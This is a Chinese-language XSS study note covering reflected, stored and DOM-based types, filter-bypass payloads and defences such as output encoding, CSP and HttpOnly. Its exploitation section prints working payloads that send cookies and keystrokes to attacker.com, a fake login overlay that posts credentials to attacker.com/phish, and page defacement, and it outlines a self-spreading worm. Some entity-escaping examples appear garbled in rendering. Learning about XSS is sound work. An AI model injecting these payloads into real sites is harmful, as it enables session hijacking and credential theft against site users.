XSS总结
原理
Web 应用程序将用户输入的数据,未经充分过滤或编码,就直接输出到 HTML 页面中,导致浏览器将用户的输入误当作可执行的脚本来解析和执行。
分类
反射型
恶意脚本作为请求的一部分(如URL参数)发送给服务器,服务器将其“反射”回响应中,浏览器立即执行。非持久化,需要诱骗用户点击特定链接。
例如:[http://example.com/search?q=](http://example.com/search?q=)<script>alert(1)</script>
存储型
恶意脚本被永久存储在服务器上(如数据库、评论、留言板)。任何用户访问包含此内容的页面时,脚本都会被自动加载和执行。危害最大。 例如:在博客评论区提交恶意评论,之后所有访客都会中招。
DOM型
漏洞存在于客户端的JavaScript代码中,而非服务器端。网站的JS代码不安全地处理了来自DOM的数据(如 document.location.hash
),并将其写入了页面DOM,导致代码执行。
例如:
// 假设URL是:http://example.com#<img src=x onerror=alert(1)>
var content = document.location.hash.substring(1);
document.getElementById("message").innerHTML = "Welcome, " + content; // 漏洞点
利用
-
窃取cookie
获取用户的会话 Cookie(反射XSS+社工,存储XSS),并发送到攻击者的服务器,从而冒充合法用户登录或调取数据。
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script> <script>new Image().src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie)</script> <img src="x" onerror="this.src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie)">
-
钓鱼
在页面上动态创建一个假的登录框(反射XSS+社工,存储XSS),欺骗用户输入用户名和密码。
<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 9999;"> <div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background: white; padding: 20px; text-align: center;"> <h3>您的会话已过期,请重新登录</h3> <form action="http://attacker.com/phish" method="POST"> 用户名: <input type="text" name="username"><br><br> 密码: <input type="password" name="password"><br><br> <input type="submit" value="登录"> </form> </div> </div>
-
网站篡改
修改页面内容,发布虚假信息,损害网站声誉。
<script>document.body.innerHTML = '<h1>该网站已被黑!</h1>' + document.body.innerHTML</script> <div style="position: fixed; top: 0; width: 100%; background: red; color: white; text-align: center; z-index: 9999;"> <strong>安全警告:该站点存在安全漏洞!</strong> </div>
-
键盘记录
监听用户的键盘事件,窃取敏感输入。
<script> let log = ''; document.onkeypress = function(e) { log += e.key; // 记录按下的键 // 每输入10个字符就发送一次数据,避免过于频繁的请求 if (log.length > 10) { new Image().src = 'http://attacker.com/log?k=' + encodeURIComponent(log); log = ''; } } </script> ## 实时发送 <script> // 监听所有按键事件(包括退格键、功能键等) document.addEventListener('keydown', function(e) { fetch('http://attacker.com/log', { method: 'POST', body: JSON.stringify({ key: e.key, code: e.code, time: new Date().toISOString() }) }); }); </script>
-
绕过CSRF限制
也就是用XSS把token获取到后进行CSRF攻击
-
制作XSS蠕虫
假设存在一个存储型XSS,目标一点击后在目标A的账号下发布部署同样的XSS payload,进而进行链式传播。
绕过
- 编码绕过:
- 对 payload 进行各种编码(HTML实体、URL、JS Unicode、Base64等)。
- 例:
<script>
-><script>
(但可能被解码) 或\u003cscript\u003e
- 语法混淆:
- 利用JS语法特性:
<img src=x onerror=alert(1)>
(最常用) - 不使用空格:用
/
或其它字符代替:onerror=alert(1)
- 使用非常规标签或事件:
<svg onload=alert(1)>
,<details ontoggle=alert(1)>
- 大小写混淆:
<ScRiPt>alert(1)</sCrIpT>
- 双写绕过:
<scr<script>ipt>alert(1)</script>
- 利用JS语法特性:
- 利用JavaScript特性:
- 字符串拼接:
"al" + "ert(1)"
- 使用
eval()
、setTimeout()
、Function()
等动态执行函数:eval('al'+'ert(1)')
- 使用反引号执行命令:
alert
1``
- 字符串拼接:
- 伪协议:
javascript:alert(1)
(常用于<a href>
或iframe src
)
防御
-
输入验证
对用户输入进行严格的白名单校验(只允许允许的字符、长度、格式),但不要仅依赖黑名单。
- 输出编码/转义
- HTML 上下文: 将
<
,>
,&
,"
,'
分别转义为<
,>
,&
,"
,'
。 - JavaScript 上下文: 在将数据插入到 JS 代码块时,对非字母数字字符进行
\xHH
格式的编码。 - CSS 上下文: 对用户数据进行编码,防止注入恶意样式或表达式。
- URL 上下文: 使用
URLEncoder
对要放入链接中的参数进行编码。
- HTML 上下文: 将
-
内容安全策略(CSP) 通过 HTTP 头部
Content-Security-Policy
告诉浏览器哪些来源的脚本是可信的、可以执行的。 例如:Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
只允许加载本域和
trusted.cdn.com
的脚本,有效阻止内联脚本和未授权域的脚本执行。 - 设置HTTPOnly
在设置关键 Cookie (如 Session ID) 时,加上
HttpOnly
标志。 禁止 JavaScript 通过document.cookie
访问该 Cookie,即使 XSS ,也无法轻易窃取会话。 -
使用现代web框架
前端:React, Vue, Angular
后端:Django, Ruby on Rails